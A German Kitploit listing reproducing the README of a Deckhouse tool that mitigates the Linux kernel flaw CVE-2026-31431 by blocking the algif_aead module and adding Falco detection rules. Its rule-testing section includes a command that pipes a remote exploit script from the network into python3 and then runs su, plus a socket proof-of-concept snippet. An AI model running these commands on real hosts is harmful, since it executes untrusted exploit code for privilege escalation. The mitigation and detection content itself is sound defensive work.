Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
d8-copy-fail-mitigation — Kubernetes-native Mitigation für CVE-2026-31431 mit automatischer Blockierung von Kernelmodulen, Falco-Erkennungsregeln zur Laufzeit und bashible-basierter Knotenkonfiguration für Deckhouse-Cluster. | Kitploit
Tools/GitHubGitHub/deckhouse/d8-copy-fail-mitigation
Container-SicherheitSchwachstellenanalyseKonfigurationsprüfungCloud-SicherheitEinbruchserkennungIncident Response
GitHubdeckhouse/d8-copy-fail-mitigation

d8-copy-fail-mitigation

Kubernetes-native Mitigation für CVE-2026-31431 mit automatischer Blockierung von Kernelmodulen, Falco-Erkennungsregeln zur Laufzeit und bashible-basierter Knotenkonfiguration für Deckhouse-Cluster.

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
vor 3 MonatenNoch nicht geprüft

Abschwächung von CVE-2026-31431 für die Deckhouse-Kubernetes-Plattform

Sprache: Englisch | Русский

Über die Schwachstelle

CVE-2026-31431 ist eine Schwachstelle im algif_aead-Modul des Linux-Kernels, das die Kernel-Krypto-API über die Socket-Familie AF_ALG für den Benutzerbereich bereitstellt. Ein Fehler in der AEAD-Schnittstelle (Authenticated Encryption with Associated Data) ermöglicht es einem lokalen, unprivilegierten Benutzer, durch das Einreichen präparierter Scatter-Gather-Listen eine Speicherkorruption im Kernel auszulösen, was zu einer lokalen Privilegienausweitung oder einem Denial-of-Service führt.

Die angreifbare Oberfläche ist von jedem Prozess erreichbar — einschließlich unprivilegierter Container —, der socket(AF_ALG, SOCK_SEQPACKET, 0) aufrufen und an einen Algorithmus vom Typ aead binden darf. Container-Runtimes, die das Standard-Seccomp-Profil nicht entfernen oder die Syscall-Familie socket nicht einschränken, setzen Cluster-Knoten dem Angriff aus.

Die empfohlene Abschwächung, bis der Upstream-Kernel-Patch über OS-Paketupdates ausgerollt wird, besteht darin, das Kernel-Modul algif_aead auf jedem Cluster-Knoten zu deaktivieren und Ausnutzungsversuche zur Laufzeit zu erkennen.

Dateien in diesem Repository

Dieses Repository enthält alles, was zur Abschwächung von CVE-2026-31431 auf einem von Deckhouse verwalteten Cluster benötigt wird:

ngc-cve-2026-31431.yaml — Abschwächung auf Knotenseite

Die NodeGroupConfiguration läuft über bashible auf jedem Knoten und führt vier Schritte aus:

  1. Test — öffnet einen AF_ALG-Socket und bindet ihn an aead/gcm(aes), um festzustellen, ob die verwundbare Schnittstelle auf dem Knoten erreichbar ist.
  2. Blockieren — schreibt /etc/modprobe.d/disable-algif.conf mit install-Direktiven, die verhindern, dass algif_aead (und das übergeordnete af_alg) erneut geladen wird, sei es manuell oder als Abhängigkeit.
  3. Entladen — führt rmmod algif_aead aus, wenn das Modul derzeit geladen ist. Wird übersprungen, wenn das Modul in den Kernel einkompiliert ist (in diesem Fall greifen nur Blocklist + Laufzeiterkennung).
  4. Verifizieren — führt den Test erneut aus und lässt den bashible-Schritt fehlschlagen (Exit-Code ungleich 0), wenn die AEAD-Schnittstelle weiterhin erreichbar ist, sodass der bashible-Status den Knoten als nicht abgeschwächt ausweist.

Idempotent: Die erneute Ausführung der Konfiguration auf einem bereits abgeschwächten Knoten ist ein No-op.

far-cve-2026-31431.yaml — Laufzeiterkennung

Die Ressource FalcoAuditRules fügt eine benutzerdefinierte Falco-Regel hinzu, die ein Critical-Ereignis auslöst, wenn ein Prozess einen AF_ALG-Socket öffnet und ihn an einen aead-Algorithmus bindet (das für diesen Angriff einzigartige Syscall-Muster). Sie gibt außerdem ein Warning-Ereignis aus, wenn ein Prozess versucht, das Modul algif_aead über modprobe/insmod zu laden, was auf einem abgeschwächten Knoten niemals gelingen sollte und ein starkes Signal für einen Ausnutzungsversuch oder eine Fehlkonfiguration durch den Betreiber ist.

Hinweis zur Edition: FalcoAuditRules wird vom Modul runtime-audit-engine abgeglichen, das nur in Deckhouse Enterprise Edition (EE) und Certified Security Edition (CSE) enthalten ist. In der Community Edition wird die Ressource nicht verarbeitet; die NodeGroupConfiguration aus diesem Repository gilt weiterhin und ist die primäre Abschwächung.

Anwenden

root@kitploit:~
kubectl apply -f ngc-cve-2026-31431.yaml
# EE / CSE only:
kubectl apply -f far-cve-2026-31431.yaml

Warten auf Konvergenz

Warten Sie, bis die Konfiguration auf jedem Knoten angewendet wurde, indem Sie den Status jeder NodeGroup beobachten. Bashible meldet den Erfolg pro Schritt an die NodeGroup zurück, und Deckhouse fasst dies in zwei Feldern zusammen, die Sie abfragen können:

  • .status.upToDate — Anzahl der Knoten, deren letzter bashible-Lauf mit der aktuellen Konfiguration erfolgreich war. Konvergenz ist erreicht, wenn upToDate == nodes für jede Gruppe gilt.
  • .status.conditionSummary.ready — "True", sobald die Gruppe gesund ist; wechselt auf "False" mit einem menschenlesbaren Grund in .status.conditionSummary.statusMessage, wenn ein bashible-Schritt eines Knotens fehlschlägt (genau das tut der Verifizierungsschritt in der NodeGroupConfiguration auf einem Knoten, auf dem der Fix nicht angewendet werden konnte).

Ein einmaliger Überblick über alle Gruppen:

root@kitploit:~
kubectl get nodegroups
root@kitploit:~
NAME      TYPE      READY   NODES   UPTODATE   ...   STATUS MESSAGE
master    Static    3       3       3
worker    Cloud     5       5       5

Ein skriptbarer Check, der nur dann mit Exit-Code 0 endet, wenn jede Gruppe konvergiert ist:

root@kitploit:~
kubectl get nodegroups -o json | jq -e '
  .items[]
  | select((.status.upToDate // 0) != (.status.nodes // 0)
        or (.status.conditionSummary.ready // "False") != "True")
' >/dev/null && echo "still converging" || echo "all node groups converged"

Wenn eine NodeGroup mit conditionSummary.ready == "False" festhängt, lesen Sie .status.conditionSummary.statusMessage — dort wird der fehlschlagende bashible-Schritt angezeigt, einschließlich des Verifizierungsschritts aus dieser Abschwächung.

Rollback

Sobald das Upstream-Kernelpaket mit dem offiziellen Fix auf jedem Knoten installiert ist, entfernen Sie beide Ressourcen:

root@kitploit:~
kubectl delete -f far-cve-2026-31431.yaml --ignore-not-found
kubectl delete -f ngc-cve-2026-31431.yaml

Das Entfernen der NodeGroupConfiguration löscht /etc/modprobe.d/disable-algif.conf nicht automatisch — bereinigen Sie es manuell, wenn das Modul wieder ladbar sein soll, oder lassen Sie die Blocklist bestehen, wenn die Kernel-Krypto-API von keiner Workload im Cluster verwendet wird.

Manuelle Überprüfung

Clusterweit:

root@kitploit:~
kubectl get nodegroups

UPTODATE sollte NODES entsprechen, und die Spalte mit der Statusmeldung sollte für jede Gruppe leer sein.

Auf einem Knoten (SSH oder kubectl debug node/<name> + chroot /host):

root@kitploit:~
cat /etc/modprobe.d/disable-algif.conf
lsmod | grep algif_aead
modprobe -n -v algif_aead
modprobe algif_aead; echo "exit=$?"

Erwartet:

  • cat zeigt die vier install / blacklist-Zeilen.
  • lsmod ist leer.
  • modprobe -n -v gibt install /bin/false aus.
  • modprobe gibt exit=1 zurück.

Überprüfung des Auslösens der Falco-Regel

Verwenden Sie diesen Unterabschnitt, um zu validieren, dass die benutzerdefinierten FalcoAuditRules für CVE-2026-31431 bei jedem PoC-Lauf wirklich auslösen.

Allgemeine Vorprüfungen für beide Szenarien:

  1. Überprüfen Sie, dass runtime-audit-engine auf allen Knoten gesund ist:
root@kitploit:~
kubectl -n d8-runtime-audit-engine get ds runtime-audit-engine \
  -o custom-columns=NAME:.metadata.name,DESIRED:.status.desiredNumberScheduled,CURRENT:.status.currentNumberScheduled,READY:.status.numberReady,AVAILABLE:.status.numberAvailable
kubectl -n d8-runtime-audit-engine get pods -l app=runtime-audit-engine -o wide

Erwartet: DESIRED == READY == AVAILABLE.

  1. Regeln anwenden/aktualisieren:
root@kitploit:~
kubectl apply -f far-cve-2026-31431.yaml
kubectl get falcoauditrules.deckhouse.io cve-2026-31431-algif-aead -o yaml | sed -n '1,120p'
  1. Log-Stream starten (optional, separates Terminal):
root@kitploit:~
kubectl -n d8-runtime-audit-engine logs -fl app=runtime-audit-engine --since=2m

Überprüfung aus dem Container

root@kitploit:~
kubectl delete pod cve-31431-test --ignore-not-found
kubectl run cve-31431-test --image=python:3.12 --restart=Never --command -- sleep 600
kubectl wait --for=condition=Ready pod/cve-31431-test --timeout=120s

# Important: use -i so Python receives stdin script
kubectl exec -i cve-31431-test -- python - <<'PY'
import socket
s=socket.socket(38, socket.SOCK_SEQPACKET, 0)
s.bind(("aead","gcm(aes)"))
s.setsockopt(279, 1, b'0123456789abcdef')
print("af_alg_poc_ok")
PY

kubectl -n d8-runtime-audit-engine logs -fl app=runtime-audit-engine --since=5m \
  | grep -E 'CVE-2026-31431 AF_ALG socket created|CVE-2026-31431 AF_ALG AEAD bind|CVE-2026-31431 SOL_ALG key/authsize setsockopt|CVE-2026-31431 algif_aead module load attempt'

Bereinigung:

root@kitploit:~
kubectl delete pod cve-31431-test --ignore-not-found

Überprüfung vom Cluster-Host aus

Sicherheitswarnung: Überprüfen Sie jedes heruntergeladene Skript vor der Ausführung. Führen Sie Remote-Skripte in Produktionsumgebungen nicht blind aus.

Empfohlen (zuerst prüfen, dann ausführen):

root@kitploit:~
curl -fsSL https://copy.fail/exp -o /tmp/copy-fail-exp.py
less /tmp/copy-fail-exp.py
python3 /tmp/copy-fail-exp.py && su

Entsprechender Einzeiler (nur nach Prüfung/Freigabe):

root@kitploit:~
curl https://copy.fail/exp | python3 && su

Erkennungen prüfen:

root@kitploit:~
kubectl -n d8-runtime-audit-engine logs -fl app=runtime-audit-engine --since=5m \
  | grep -E 'CVE-2026-31431 AF_ALG socket created|CVE-2026-31431 AF_ALG AEAD bind|CVE-2026-31431 SOL_ALG key/authsize setsockopt|CVE-2026-31431 algif_aead module load attempt'
Tool herunterladen
DateiZweck
ngc-cve-2026-31431.yamlNodeGroupConfiguration, die die verwundbare Schnittstelle testet, das Laden von algif_aead blockiert, das Modul entlädt, falls es derzeit geladen ist, und überprüft, dass der Fix wirksam ist. Gilt für alle Bundles und Node-Gruppen.
far-cve-2026-31431.yamlFalcoAuditRules, die Laufzeitversuche erkennt, die Schwachstelle über AF_ALG-Sockets auszunutzen, die an AEAD-Algorithmen gebunden sind. Nur verfügbar in Deckhouse Enterprise Edition (EE) und Certified Security Edition (CSE), da das Modul runtime-audit-engine in diesen Editionen enthalten ist.